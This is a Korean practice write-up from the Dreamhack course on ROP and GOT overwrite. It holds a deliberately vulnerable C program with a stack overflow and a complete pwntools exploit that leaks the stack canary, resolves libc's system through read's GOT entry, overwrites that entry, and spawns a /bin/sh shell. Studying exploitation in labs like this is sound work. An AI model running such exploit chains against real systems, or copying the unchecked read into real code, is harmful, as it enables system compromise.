본문 바로가기

Dreamhack/Lecture & Practice

[Practice] ROP - GOT Overwrite

Ⅰ. ROP(Return Oriented Programming) 정의

  • 리턴 가젯을 사용하여, 복잡한 실행 흐름을 구현하는 기법이다.
  • 공격자는 이를 이용하여, 문제 상황에 맞춰 return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성할 수 있다.
  • ROP 페이로드는 리턴 가젯으로 구성되는데, RET단위로 여러 코드가 연쇄적으로 실행되는 모습에서 "ROP Chain"이라고도 부른다.

Ⅱ. 실습

1. 실습 코드

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  
  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);
  
  return 0;
}

2. GOT Overwirte 정의

  • GOT에 적힌 주소를 참조하여 해당 함수를 호출할 때, 검증하지 않고 그대로 참조하는 문제점이 존재한다.
    이를 통해, GOT에 적힌 주소를 변조하고 함수가 재호출될 때 공격자가 원하는 코드가 실행되도록 하는 공격을 말한다. 

3. 공격 시나리오

① 첫 번째 입력값에서 버퍼오버플로우 취약점을 이용하여, 카나리를 추출하여 스택가드 보호기법을 우회한다.

 

② read함수를 통해, system함수의 주소값을 계산한다.

  • read함수의 got를 읽고, read함수와 system함수의 오프셋을 이용하여 system함수의 주소를 계산할 수 있다.

 

③ GOT에 위치한 read함수의 주소값을 system함수의 주소값으로 변조하고, [ read 주소값 + 0x8 ] 위치에는 /bin/sh를
     삽입한다.

  • pwntools의  ELF.symbols 메소드는 특정 ELF에서 심볼 사이의 오프셋을 계산할 때 유용하게 사용된다.
    이를 이용하여, system함수의 주소를 계산할 수 있다.

 

④ GOT Overwrite된 read함수를 재호출할 경우, read함수가 아닌 system함수 실행되어 쉘을 획득할 수 있다.

4. Exploit

  • pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
from pwn import *

def print_v(name, value):
    return success(": ".join([name, hex(value)]))

p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# [1] Get Canary
input1 = "A" * 0x39
p.sendafter(b"Buf: ", input1)
p.recvuntil(input1)
canary = u64(b'\x00' + p.recvn(7))
print_v("Canary", canary)

pop_rdi = 0x4007f3 # pop rdi; ret; 가젯
pop_rsi_r15 = 0x4007f1 # pop rsi; pop r15; ret; 가젯
puts_plt = e.plt['puts'] 
read_got = e.got['read']
read_plt = e.plt['read']

input2 = b"A" * 0x38
input2 += p64(canary)
input2 += b"B" * 0x8

# got에 존재하는 read주소값 출력.
# puts(read_got)
input2 += p64(pop_rdi)
input2 += p64(read_got)
input2 += p64(puts_plt)

# 해당 입력값으로, read함수를 system함수로 덮어쓰며, read + 8에는 /bin/sh가 들어감.
# read(0, read_got, 0x10)
input2 += p64(pop_rdi) + p64(0)
input2 += p64(pop_rsi_r15)
input2 += p64(read_got) + p64(0)
input2 += p64(read_plt)

# read("/bin/sh") ==> system("/bin/sh")
input2 += p64(pop_rdi)
input2 += p64(read_got + 0x8) 
input2 += p64(read_plt)

# system 함수 주소 계산
p.sendafter(b"Buf: ", input2)
read_addr = u64(p.recvn(6) + (b'\x00'*2))
base_libc = read_addr - libc.symbols['read']
sys_addr = base_libc + libc.symbols['system'] 
print_v("read_addr", read_addr)
print_v("sys_addr", sys_addr)

# got에 존재하는 read함수를 덮어쓰기 위한 입력값
p.send(p64(sys_addr) + b"/bin/sh\x00")

p.interactive()

  • shell을 통해, flag를 얻을 수 있다.  (flag는 확인을 위해, 임의로 만들었다.)